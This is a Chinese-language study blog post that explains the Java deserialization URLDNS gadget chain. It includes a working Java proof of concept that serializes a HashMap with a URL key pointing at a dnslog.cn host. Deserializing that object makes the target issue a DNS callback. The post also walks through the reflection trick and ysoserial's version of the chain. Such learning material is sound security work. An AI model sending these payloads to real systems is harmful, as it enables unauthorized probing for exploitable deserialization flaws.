Java反序列化-URLDNS学习

Java反序列化-URLDNS学习

前言

在复现漏洞的时候经常使用dnslog来进行测试,当然有一定的局限性,只能在机器出网的时候才可以使用,并且在一些不知道利用链的情况下 使用urldns的利用链来进行打dnslog效果比较好,因为其没有诸多的限制
文章中如果有错误欢迎各位师傅斧正

代码

这里的代码是直接粘贴天下大木头师傅的,后面做学习分析

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urldns {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://jszzsn.dnslog.cn");
        Class clas = Class.forName("java.net.URL");
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123);
        map.put(url,"2333");
        field.set(url,-1);
        try {
            FileOutputStream outputStream = new FileOutputStream("2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            FileInputStream inputStream = new FileInputStream("2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
     }
}

分析

在上面这个代码中,漏洞触发是在

objectInputStream.readObject();

我们跟进分析一下
Java反序列化-URLDNS学习
在这里对于传入的key进行了hash运算
Java反序列化-URLDNS学习
如果key不为空则调用hashcode方法
Java反序列化-URLDNS学习
如果hashcode不等于-1就返回
Java反序列化-URLDNS学习
Java反序列化-URLDNS学习
可以看到在初始化的时候就为-1
跟入hashCode
Java反序列化-URLDNS学习
调用了getHostAddress解析域名,从而触发dnslog
这里是使用已经处理好的代码,在我们调试的时候发现,如果直接使用map.put()时也会产生dnslog
Java反序列化-URLDNS学习
因为put方法会默认调用putval
参考
https://blog.csdn.net/weixin_45922369/article/details/106843050
使用反射来修改值

Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true); // 变量为 private 修改访问权限
field.set(url,123);
map.put(url,"2333");
field.set(url,-1);

就可以绕过在生成payload时候产生的dnslog的脏数据

ysoserial中的利用方式

Java反序列化-URLDNS学习

Java反序列化-URLDNS学习
可以看到里面貌似没有使用反射的方法
这里需要注意一下这里使用了类SilentURLStreamHandler继承URLStreamHandler并且重写了方法

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

这样就不会触发dns请求
之后使用Reflections.setFieldValue修改值,我们跟入看一下
Java反序列化-URLDNS学习
跟入getField
Java反序列化-URLDNS学习
可以看到这里也一样是使用反射的方法修改了hashCode的值为-1 保证可以成功触发dns请求

参考文章

https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54#003a579d
https://paper.seebug.org/1242/#_1
https://www.guildhab.top/2020/08/java-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e6-%e8%a7%a3%e5%af%86-ysoserial-urldns-pop-chain/

上一篇:Creditcoin—解决无银行账户的信贷问题


下一篇:维基链将打造全球首个一体化DeFi公链